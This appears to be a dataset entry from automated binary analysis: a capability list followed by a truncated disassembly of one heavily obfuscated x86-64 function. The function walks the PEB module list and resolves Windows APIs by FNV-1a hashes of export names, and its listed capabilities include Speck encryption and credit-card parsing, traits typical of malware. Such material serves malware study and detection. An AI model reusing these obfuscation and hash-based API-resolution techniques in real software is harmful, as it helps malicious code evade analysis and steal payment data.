Function at 0x14038cbaa
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Encrypt data using speck
Hash data using fnv
Parse credit card information
Parse pe header
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0x4dfc9af4
pushf
not eax
add eax, 0xc898648f
xor eax, 0x9afe0e9f
rol eax, 0x1a
popf
pushf
not eax
add eax, 0x8ec1811f
xor eax, 0x9c579398
rol eax, 0x26
popf
pushf
not eax
add eax, 0xe0b5e978
xor eax, 0xbe72a339
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xf0ac4eb0
xor eax, 0xa51dfc97
rol eax, 0xb0
popf
cmp eax, 0x54
jne 0x14038cc0d
popf
pop rax
jmp 0x14039006e
cmp eax, 0x48
jne 0x14038cc1c
popf
pop rax
jmp 0x14038fa4d
cmp eax, 0x3f
jne 0x14038cc2b
popf
pop rax
jmp 0x14038f46c
cmp eax, 1
jne 0x14038cc3a
popf
pop rax
jmp 0x14038d1ca
cmp eax, 0x4a
jne 0x14038cc49
popf
pop rax
jmp 0x14038fb38
cmp eax, 0x1a
jne 0x14038cc58
popf
pop rax
jmp 0x14038e0f9
cmp eax, 0x44
jne 0x14038cc67
popf
pop rax
jmp 0x14038f7bb
cmp eax, 0x31
jne 0x14038cc76
popf
pop rax
jmp 0x14038edb2
cmp eax, 0x40
jne 0x14038cc85
popf
pop rax
jmp 0x14038f50e
cmp eax, 8
jne 0x14038cc94
popf
pop rax
jmp 0x14038d643
cmp eax, 0x2a
jne 0x14038cca3
popf
pop rax
jmp 0x14038e98f
cmp eax, 0x17
jne 0x14038ccb2
popf
pop rax
jmp 0x14038df99
cmp eax, 0x1c
jne 0x14038ccc1
popf
pop rax
jmp 0x14038e262
cmp eax, 0x2e
jne 0x14038ccd0
popf
pop rax
jmp 0x14038ec1f
cmp eax, 0x4c
jne 0x14038ccdf
popf
pop rax
jmp 0x14038fc42
cmp eax, 0x2b
jne 0x14038ccee
popf
pop rax
jmp 0x14038e9cc
cmp eax, 0x1b
jne 0x14038ccfd
popf
pop rax
jmp 0x14038e1b8
cmp eax, 0x2d
jne 0x14038cd0c
popf
pop rax
jmp 0x14038ebb9
cmp eax, 0x23
jne 0x14038cd1b
popf
pop rax
jmp 0x14038e641
cmp eax, 0x25
jne 0x14038cd2a
popf
pop rax
jmp 0x14038e6f3
cmp eax, 0x43
jne 0x14038cd39
popf
pop rax
jmp 0x14038f722
cmp eax, 0x13
jne 0x14038cd48
popf
pop rax
jmp 0x14038dc21
cmp eax, 0x33
jne 0x14038cd57
popf
pop rax
jmp 0x14038eee3
cmp eax, 0x24
jne 0x14038cd66
popf
pop rax
jmp 0x14038e6b6
cmp eax, 0x1e
jne 0x14038cd75
popf
pop rax
jmp 0x14038e352
cmp eax, 0xc
jne 0x14038cd84
popf
pop rax
jmp 0x14038d856
cmp eax, 0x26
jne 0x14038cd93
popf
pop rax
jmp 0x14038e72e
cmp eax, 0x27
jne 0x14038cda2
popf
pop rax
jmp 0x14038e7ec
cmp eax, 0x30
jne 0x14038cdb1
popf
pop rax
jmp 0x14038ed19
cmp eax, 0x10
jne 0x14038cdc0
popf
pop rax
jmp 0x14038daaf
cmp eax, 0x37
jne 0x14038cdcf
popf
pop rax
jmp 0x14038f0d0
cmp eax, 9
jne 0x14038cdde
popf
pop rax
jmp 0x14038d6ac
cmp eax, 0x39
jne 0x14038cded
popf
pop rax
jmp 0x14038f202
cmp eax, 0x16
jne 0x14038cdfc
popf
pop rax
jmp 0x14038de48
cmp eax, 0x3b
jne 0x14038ce0b
popf
pop rax
jmp 0x14038f2dd
cmp eax, 0x4b
jne 0x14038ce1a
popf
pop rax
jmp 0x14038fbe4
cmp eax, 0x36
jne 0x14038ce29
popf
pop rax
jmp 0x14038f037
cmp eax, 0x14
jne 0x14038ce38
popf
pop rax
jmp 0x14038dd1e
cmp eax, 0x46
jne 0x14038ce47
popf
pop rax
jmp 0x14038f937
cmp eax, 0x3d
jne 0x14038ce56
popf
pop rax
jmp 0x14038f3ea
cmp eax, 2
jne 0x14038ce65
popf
pop rax
jmp 0x14038d32c
cmp eax, 0x47
jne 0x14038ce74
popf
pop rax
jmp 0x14038f9f7
cmp eax, 0x51
jne 0x14038ce83
popf
pop rax
jmp 0x14038fed8
cmp eax, 0x11
jne 0x14038ce92
popf
pop rax
jmp 0x14038db10
cmp eax, 0x35
jne 0x14038cea1
popf
pop rax
jmp 0x14038efb1
cmp eax, 0x3a
jne 0x14038ceb0
popf
pop rax
jmp 0x14038f277
cmp eax, 0x12
jne 0x14038cebf
popf
pop rax
jmp 0x14038dbbc
cmp eax, 0x21
jne 0x14038cece
popf
pop rax
jmp 0x14038e4fc
cmp eax, 0x38
jne 0x14038cedd
popf
pop rax
jmp 0x14038f12e
cmp eax, 0xb
jne 0x14038ceec
popf
pop rax
jmp 0x14038d7bd
cmp eax, 0xf
jne 0x14038cefb
popf
pop rax
jmp 0x14038da49
cmp eax, 0x15
jne 0x14038cf0a
popf
pop rax
jmp 0x14038dd58
cmp eax, 5
jne 0x14038cf19
popf
pop rax
jmp 0x14038d453
cmp eax, 6
jne 0x14038cf28
popf
pop rax
jmp 0x14038d4ff
cmp eax, 0x4e
jne 0x14038cf37
popf
pop rax
jmp 0x14038fdc4
cmp eax, 0x49
jne 0x14038cf46
popf
pop rax
jmp 0x14038fab2
cmp eax, 0x1f
jne 0x14038cf55
popf
pop rax
jmp 0x14038e3b7
cmp eax, 4
jne 0x14038cf64
popf
pop rax
jmp 0x14038d3ba
cmp eax, 0x2f
jne 0x14038cf73
popf
pop rax
jmp 0x14038ec6d
cmp eax, 0x4d
jne 0x14038cf82
popf
pop rax
jmp 0x14038fd03
cmp eax, 0x55
jne 0x14038cf91
popf
pop rax
jmp 0x1403900cf
cmp eax, 0x45
jne 0x14038cfa0
popf
pop rax
jmp 0x14038f88d
cmp eax, 0x2c
jne 0x14038cfaf
popf
pop rax
jmp 0x14038ea5b
cmp eax, 3
jne 0x14038cfbe
popf
pop rax
jmp 0x14038d37f
cmp eax, 0x19
jne 0x14038cfcd
popf
pop rax
jmp 0x14038e03a
cmp eax, 0x1d
jne 0x14038cfdc
popf
pop rax
jmp 0x14038e30f
cmp eax, 0x34
jne 0x14038cfeb
popf
pop rax
jmp 0x14038ef4c
cmp eax, 0x53
jne 0x14038cffa
popf
pop rax
jmp 0x140390005
cmp eax, 0x4f
jne 0x14038d009
popf
pop rax
jmp 0x14038fe2a
cmp eax, 0x42
jne 0x14038d018
popf
pop rax
jmp 0x14038f6e7
cmp eax, 7
jne 0x14038d027
popf
pop rax
jmp 0x14038d583
cmp eax, 0x20
jne 0x14038d036
popf
pop rax
jmp 0x14038e463
cmp eax, 0
jne 0x14038d045
popf
pop rax
jmp 0x14038d108
cmp eax, 0x3c
jne 0x14038d054
popf
pop rax
jmp 0x14038f33e
cmp eax, 0xd
jne 0x14038d063
popf
pop rax
jmp 0x14038d8b4
cmp eax, 0xa
jne 0x14038d072
popf
pop rax
jmp 0x14038d724
cmp eax, 0x18
jne 0x14038d081
popf
pop rax
jmp 0x14038dfd9
cmp eax, 0x28
jne 0x14038d090
popf
pop rax
jmp 0x14038e851
cmp eax, 0x22
jne 0x14038d09f
popf
pop rax
jmp 0x14038e55a
cmp eax, 0x50
jne 0x14038d0ae
popf
pop rax
jmp 0x14038fe65
cmp eax, 0x52
jne 0x14038d0bd
popf
pop rax
jmp 0x14038ff3d
cmp eax, 0x41
jne 0x14038d0cc
popf
pop rax
jmp 0x14038f694
cmp eax, 0xe
jne 0x14038d0db
popf
pop rax
jmp 0x14038d99b
cmp eax, 0x32
jne 0x14038d0ea
popf
pop rax
jmp 0x14038ee49
cmp eax, 0x29
jne 0x14038d0f9
popf
pop rax
jmp 0x14038e8e7
cmp eax, 0x3e
jne 0x14038d108
popf
pop rax
jmp 0x14038f43c
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x3f0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x278], rax
mov rax, qword [rsp + 0x278]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x280], rax
mov rax, qword [rsp + 0x280]
mov rax, qword [rax]
mov qword [rsp + 0x288], rax
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0xf8], rax
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x100], rax
push rax
pushf
mov eax, 0x4dbab06b
pushf
not eax
add eax, 0xc0d5c54f
xor eax, 0xc18a3482
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xbc850163
xor eax, 0x8b902693
rol eax, 0x12
popf
pushf
not eax
add eax, 0xa0b1090e
xor eax, 0xeaf25336
rol eax, 0x13
popf
pushf
not eax
add eax, 0xe9130f09
xor eax, 0xdb303394
rol eax, 0x6a
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0xf8]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x70]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x70]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, 0x5f439565
pushf
not ecx
add ecx, 0xb4b3b0d0
xor ecx, 0x9e2c7529
rol ecx, 0x17
popf
pushf
not ecx
add ecx, 0xc088b047
xor ecx, 0xe0066384
rol ecx, 8
popf
pushf
not ecx
add ecx, 0x907eebc5
xor ecx, 0xeb3d6046
rol ecx, 0x2e
popf
imul rcx, rcx, 0
mov rax, qword [rax + rcx + 0x88]
mov qword [rsp + 0x178], rax
mov eax, dword [rsp + 0x178]
mov rcx, qword [rsp + 0x70]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0xb8], rax
mov eax, dword [rsp + 0x17c]
mov dword [rsp + 0xc0], eax
mov rax, qword [rsp + 0xb0]
cmp qword [rsp + 0xb8], rax
je 0x14038d2d3
push rax
pushf
mov eax, 0x71a1f138
pushf
not eax
add eax, 0x941db05c
xor eax, 0x8f4a8060
rol eax, 0x9a
popf
pushf
not eax
add eax, 0x9c0a6f16
xor eax, 0x8d55ba18
rol eax, 0x15
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0xf8e2adab
pushf
not eax
add eax, 0x907304a3
xor eax, 0xc39153fd
rol eax, 2
popf
pushf
not eax
add eax, 0xd936be13
xor eax, 0x8eb29b70
rol eax, 0x79
popf
pushf
not eax
add eax, 0xb5019cd0
xor eax, 0xc0dc34e7
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xa61d2ce9
xor eax, 0xd1fbc260
rol eax, 0x31
popf
jmp 0x14038cbfe
mov dword [rsp + 0x4c], 1
jmp 0x14038d3ba
mov dword [rsp + 0x4c], 0
push rax
pushf
mov eax, 0xbab38617
pushf
not eax
add eax, 0xe3f32b52
xor eax, 0xacbcdf66
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xac7da7b1
xor eax, 0xcdee8650
rol eax, 0x2f
popf
jmp 0x14038cbfe
movzx eax, byte [rsp + 0x4c]
test eax, eax
je 0x14038d420
push rax
pushf
mov eax, 0x91e60470
pushf
not eax
add eax, 0x894848d9
xor eax, 0xbbcd3604
rol eax, 0x37
popf
pushf
not eax
add eax, 0xc3a53093
xor eax, 0xfe0dc3c7
rol eax, 0x71
popf
pushf
not eax
add eax, 0xb8f683e9
xor eax, 0xeba15fb0
rol eax, 0xbe
popf
pushf
not eax
add eax, 0x824227e1
xor eax, 0xe7fbf794
rol eax, 0x5b
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x8ffed514
pushf
not eax
add eax, 0xd0f7614e
xor eax, 0x8b095e9c
rol eax, 8
popf
pushf
not eax
add eax, 0xa16eaa92
xor eax, 0xaf9c04f2
rol eax, 0x1e
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0xb8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x2c]
mov dword [rsp + 0x138], eax
mov eax, dword [rsp + 0x2c]
jmp 0x14038d472
dec eax
mov dword [rsp + 0x2c], eax
cmp dword [rsp + 0x138], 0
je 0x14038d4b9
push rax
pushf
mov eax, 0x58a333c0
pushf
not eax
add eax, 0xd86a41c3
xor eax, 0xebe2a5a4
rol eax, 0x99
popf
pushf
not eax
add eax, 0xed3e87ac
xor eax, 0xac163c54
rol eax, 0xc7
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x6d414d6d
pushf
not eax
add eax, 0xaf0b1833
xor eax, 0xf6061df6
rol eax, 0x14
popf
pushf
not eax
add eax, 0xc8d221dc
xor eax, 0xa0205398
rol eax, 0x70
popf
pushf
not eax
add eax, 0xbd997e80
xor eax, 0xc65328c9
rol eax, 0x13
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0xb8]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0xb0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x2c]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0xb0]
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x158], rax
mov dword [rsp + 0x3c], 0x811c9dc5
push rax
pushf
mov eax, 0xfb15e412
pushf
not eax
add eax, 0xc9704594
xor eax, 0xf0a7cdd4
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xbb030f4c
xor eax, 0xc31594a2
rol eax, 0xd5
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0x158]
movzx eax, byte [rax]
mov byte [rsp + 0x25], al
mov rax, qword [rsp + 0x158]
inc rax
mov qword [rsp + 0x158], rax
movzx eax, byte [rsp + 0x25]
mov byte [rsp + 0x20], al
movsx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14038d5ea
push rax
pushf
mov eax, 0xc20f13b2
pushf
not eax
add eax, 0x83822ad4
xor eax, 0xe18b418f
rol eax, 0x26
popf
pushf
not eax
add eax, 0xf5f6f544
xor eax, 0xb6e149bb
rol eax, 0x2b
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x44266531
pushf
not eax
add eax, 0xcd559641
xor eax, 0xdfa96453
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xb063ad94
xor eax, 0xbf302f56
rol eax, 0x44
popf
pushf
not eax
add eax, 0xa0c3ba8c
xor eax, 0x9cdc4ce7
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xaf8b267f
xor eax, 0x8438d1a4
rol eax, 0x3d
popf
jmp 0x14038cbfe
mov eax, dword [rsp + 0x3c]
mov dword [rsp + 0x13c], eax
jmp 0x14038d724
movsx eax, byte [rsp + 0x20]
mov ecx, dword [rsp + 0x3c]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x3c], eax
jmp 0x14038d583
cmp dword [rsp + 0x13c], 0x185776b5
jne 0x14038d78a
push rax
pushf
mov eax, 0xcbf76e63
pushf
not eax
add eax, 0x8f739254
xor eax, 0xe26b5a33
rol eax, 0x32
popf
pushf
not eax
add eax, 0x908217ba
xor eax, 0x9f1b4986
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xca0602e5
xor eax, 0xbe412b66
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xf749ec68
xor eax, 0xee91777a
rol eax, 0xaf
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0xb68c4bed
pushf
not eax
add eax, 0xbaf26663
xor eax, 0xc3d54ac6
rol eax, 0xc6
popf
pushf
not eax
add eax, 0x9da5b56a
xor eax, 0xb0d1887b
rol eax, 0x62
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0xb8]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0xb0]
mov qword [rsp + 0x2a0], rax
mov rax, qword [rsp + 0xb8]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0xb0]
mov qword [rsp + 0x298], rax
mov eax, dword [rsp + 0x2c]
mov rcx, qword [rsp + 0x298]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x2a0]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0xb0]
mov qword [rsp + 0x180], rax
jmp 0x14038dc21
jmp 0x14038d462
mov rax, qword [rsp + 0xf8]
mov rax, qword [rax]
mov qword [rsp + 0x2a8], rax
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0xf8], rax
mov rax, qword [rsp + 0x100]
cmp qword [rsp + 0xf8], rax
je 0x14038d942
push rax
pushf
mov eax, 0x2b230f0
pushf
not eax
add eax, 0x8c7a8faa
xor eax, 0x97156d2b
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xe158b5aa
xor eax, 0x96193f9d
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xc62dacce
xor eax, 0x9812d777
rol eax, 0xc
popf
pushf
not eax
add eax, 0xbf09b43e
xor eax, 0x88562603
rol eax, 0xa7
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x780098f2
pushf
not eax
add eax, 0x8c96dcde
xor eax, 0xcc640e46
rol eax, 0x10
popf
pushf
not eax
add eax, 0xf58e7209
xor eax, 0xb386040e
rol eax, 0x42
popf
pushf
not eax
add eax, 0x96cf0a09
xor eax, 0xf8fd771e
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xdf77a15d
xor eax, 0xfcc0f393
rol eax, 0xd8
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0xf8]
cmp qword [rax + 0x30], 0
je 0x14038d9f0
push rax
pushf
mov eax, 0x4ee3c0f4
pushf
not eax
add eax, 0x8fa56466
xor eax, 0xe6dfc492
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xf6579516
xor eax, 0xcb7bb2c8
rol eax, 0x90
popf
pushf
not eax
add eax, 0xa4d59eaa
xor eax, 0x91b7924c
rol eax, 0x77
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x7d19d337
pushf
not eax
add eax, 0xdcb3b8d9
xor eax, 0xae46adb5
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xcc9ff58b
xor eax, 0x84c9d01d
rol eax, 0x85
popf
pushf
not eax
add eax, 0xc87d7f36
xor eax, 0xa031b12f
rol eax, 0x45
popf
pushf
not eax
add eax, 0x821d94f9
xor eax, 0xcf07506e
rol eax, 0xd1
popf
jmp 0x14038cbfe
mov dword [rsp + 0x50], 1
jmp 0x14038db10
mov dword [rsp + 0x50], 0
push rax
pushf
mov eax, 0x1b265e50
pushf
not eax
add eax, 0xa999af62
xor eax, 0xe720ea8c
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xddc482f3
xor eax, 0xe80be853
rol eax, 0x76
popf
pushf
not eax
add eax, 0x9e2c1059
xor eax, 0x92bf69ad
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xe6b20fdc
xor eax, 0xacca789b
rol eax, 0x48
popf
jmp 0x14038cbfe
movzx eax, byte [rsp + 0x50]
test eax, eax
jne 0x14038db76
push rax
pushf
mov eax, 0x2d1009cf
pushf
not eax
add eax, 0xfd292c23
xor eax, 0x8578fee7
rol eax, 0xac
popf
pushf
not eax
add eax, 0xd8eb4c1a
xor eax, 0xa95d8853
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xe9daac9b
xor eax, 0xe15cad13
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x81c78b35
xor eax, 0xc0e5b72d
rol eax, 0xa4
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x3cbd9a8e
pushf
not eax
add eax, 0xfdae169e
xor eax, 0x9226accc
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xe3e2ec9f
xor eax, 0x96ca0ae1
rol eax, 0xb2
popf
pushf
not eax
add eax, 0x9fb0d282
xor eax, 0xc9e1f084
rol eax, 0x8f
popf
jmp 0x14038cbfe
mov qword [rsp + 0x180], 0
push rax
pushf
mov eax, 0x11774d77
pushf
not eax
add eax, 0x9cb534e1
xor eax, 0xd27be4f9
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xbd852bb0
xor eax, 0xc4666f3f
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xe5425e69
xor eax, 0xcab9916e
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xd5902e54
xor eax, 0x84f94fae
rol eax, 0x5c
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x2b0], rax
xor edx, edx
mov ecx, 0x8099874
pushf
not ecx
add ecx, 0xde6db59d
xor ecx, 0xec0fb3e0
rol ecx, 0x7d
popf
pushf
not ecx
add ecx, 0xed624af9
xor ecx, 0xff84f77c
rol ecx, 0xcc
popf
pushf
not ecx
add ecx, 0xdfe92710
xor ecx, 0xddc2f556
rol ecx, 0x7c
popf
jmp 0x14038dc78
call qword [rsp + 0x2b0]
mov qword [rsp + 0x90], rax
cmp qword [rsp + 0x90], 0xffffffffffffffff
jne 0x14038dceb
push rax
pushf
mov eax, 0x51fb0c1c
pushf
not eax
add eax, 0x96a031b6
xor eax, 0xed9342b6
rol eax, 0x25
popf
pushf
not eax
add eax, 0xbe20a497
xor eax, 0xc6ce80c1
rol eax, 0x34
popf
pushf
not eax
add eax, 0xdee7767e
xor eax, 0xe62cead1
rol eax, 0x52
popf
pushf
not eax
add eax, 0xa97a817e
xor eax, 0x8f8e0642
rol eax, 0x84
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0xc1d7d7c4
pushf
not eax
add eax, 0xfad66f2e
xor eax, 0xb74eb36b
rol eax, 0x39
popf
pushf
not eax
add eax, 0xf572addc
xor eax, 0xf0534f33
rol eax, 0xdb
popf
jmp 0x14038cbfe
xor eax, eax
jmp 0x1403900d3
lea rax, [rsp + 0x2c0]
mov rdi, rax
xor eax, eax
mov ecx, 0x3ec3750
pushf
not ecx
add ecx, 0xf4e725f1
xor ecx, 0xb923fa50
rol ecx, 0x60
popf
pushf
not ecx
add ecx, 0xcf26139a
xor ecx, 0x854cfa69
rol ecx, 0x1e
popf
rep stosb byte [rdi], al
mov dword [rsp + 0x2c0], 0x130
mov byte [rsp + 0x24], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x1b8], rax
mov rax, qword [rsp + 0x1b8]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x1c0]
mov rax, qword [rax]
mov qword [rsp + 0x1c8], rax
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x130], rax
push rax
pushf
mov eax, 0xa57fbecd
pushf
not eax
add eax, 0xd36b196b
xor eax, 0xbb760018
rol eax, 0x88
popf
pushf
not eax
add eax, 0xd8cfd98d
xor eax, 0x9dff8695
rol eax, 0xd3
popf
pushf
not eax
add eax, 0x9c07a772
xor eax, 0xf0ea2b1b
rol eax, 0xb6
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0x128]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0x78]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x78]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, 0xf59a7e83
pushf
not ecx
add ecx, 0x97208822
xor ecx, 0xcf73e912
rol ecx, 0xf2
popf
pushf
not ecx
add ecx, 0x90cff2c4
xor ecx, 0xb8a64942
rol ecx, 0x7b
popf
pushf
not ecx
add ecx, 0xa393c6f9
xor ecx, 0xaae53785
rol ecx, 0x94
popf
pushf
not ecx
add ecx, 0xf402f0d4
xor ecx, 0x9c1a8070
rol ecx, 0x5f
popf
imul rcx, rcx, 0
mov rax, qword [rax + rcx + 0x88]
mov qword [rsp + 0x188], rax
mov eax, dword [rsp + 0x188]
mov rcx, qword [rsp + 0x78]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0xd0], rax
mov eax, dword [rsp + 0x18c]
mov dword [rsp + 0xd8], eax
mov rax, qword [rsp + 0xc8]
cmp qword [rsp + 0xd0], rax
je 0x14038df66
push rax
pushf
mov eax, 0x435df0b9
pushf
not eax
add eax, 0xdcd254d4
xor eax, 0xf02aceb5
rol eax, 0x45
popf
pushf
not eax
add eax, 0xbdf4c8bd
xor eax, 0x921f72d8
rol eax, 0xc0
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x2cc0d034
pushf
not eax
add eax, 0xf4571138
xor eax, 0xf2d8d9d7
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xf485d7c4
xor eax, 0xae1bbd1c
rol eax, 0xea
popf
jmp 0x14038cbfe
mov dword [rsp + 0x54], 1
jmp 0x14038e03a
mov dword [rsp + 0x54], 0
push rax
pushf
mov eax, 0x1ba5a906
pushf
not eax
add eax, 0xd38f2b34
xor eax, 0xcb31edcf
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xe16c1d0e
xor eax, 0xad79cdb6
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xc24c44de
xor eax, 0xfeb2420a
rol eax, 0x92
popf
pushf
not eax
add eax, 0xf7550552
xor eax, 0xd5fe75f7
rol eax, 0xfb
popf
jmp 0x14038cbfe
movzx eax, byte [rsp + 0x54]
test eax, eax
je 0x14038e0a0
push rax
pushf
mov eax, 0xee4e7288
pushf
not eax
add eax, 0xb010217a
xor eax, 0xc5c01804
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xc4a038e1
xor eax, 0x81632d09
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xd343e358
xor eax, 0xd8865c8a
rol eax, 0xb
popf
pushf
not eax
add eax, 0x906f40eb
xor eax, 0xe53ef177
rol eax, 0xb1
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x8998d361
pushf
not eax
add eax, 0x90f34cf1
xor eax, 0xa454ebeb
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xa23563aa
xor eax, 0x840b05b1
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xc93c8801
xor eax, 0xad5d1406
rol eax, 0xd1
popf
pushf
not eax
add eax, 0x9f717101
xor eax, 0xb5e8437c
rol eax, 0xa9
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0xd0]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x140], eax
mov eax, dword [rsp + 0x30]
jmp 0x14038e118
dec eax
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x140], 0
je 0x14038e172
push rax
pushf
mov eax, 0xb8821a9
pushf
not eax
add eax, 0xa58f525b
xor eax, 0xf96a4736
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xcbb1633b
xor eax, 0x94ae68c1
rol eax, 0x81
popf
pushf
not eax
add eax, 0xbe37e910
xor eax, 0xf91c5dd4
rol eax, 0x84
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x41141d1c
pushf
not eax
add eax, 0xb06531c0
xor eax, 0xc0fe7cb6
rol eax, 0x89
popf
pushf
not eax
add eax, 0xfd9d647d
xor eax, 0xb091b726
rol eax, 0x66
popf
pushf
not eax
add eax, 0x8e1ade95
xor eax, 0xf6f74fd8
rol eax, 0x41
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0xd0]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0xc8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x30]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0xc8]
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x160], rax
mov dword [rsp + 0x40], 0x811c9dc5
push rax
pushf
mov eax, 0xb89443a8
pushf
not eax
add eax, 0xff6da466
xor eax, 0x9a52cb3f
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xc19bcee5
xor eax, 0xc2d35578
rol eax, 0x80
popf
pushf
not eax
add eax, 0xf4b037e9
xor eax, 0xdb979739
rol eax, 0x53
popf
pushf
not eax
add eax, 0xdb412b7b
xor eax, 0xbcec1c2c
rol eax, 0x17
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0x160]
movzx eax, byte [rax]
mov byte [rsp + 0x26], al
mov rax, qword [rsp + 0x160]
inc rax
mov qword [rsp + 0x160], rax
movzx eax, byte [rsp + 0x26]
mov byte [rsp + 0x21], al
movsx eax, byte [rsp + 0x21]
test eax, eax
jne 0x14038e2dc
push rax
pushf
mov eax, 0x268eba84
pushf
not eax
add eax, 0xb89c1249
xor eax, 0x9f81ad26
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xcbe80762
xor eax, 0xc752d408
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xe5481cd9
xor eax, 0xacc96bf3
rol eax, 0xe6
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0xfbad3786
pushf
not eax
add eax, 0xb0935df6
xor eax, 0xc595bf63
rol eax, 0xda
popf
pushf
not eax
add eax, 0xdd005826
xor eax, 0xab3b69c1
rol eax, 0x14
popf
jmp 0x14038cbfe
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x144], eax
jmp 0x14038e3b7
movsx eax, byte [rsp + 0x21]
mov ecx, dword [rsp + 0x40]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x40], eax
jmp 0x14038e262
cmp dword [rsp + 0x144], 0xa4c8c8f
jne 0x14038e41d
push rax
pushf
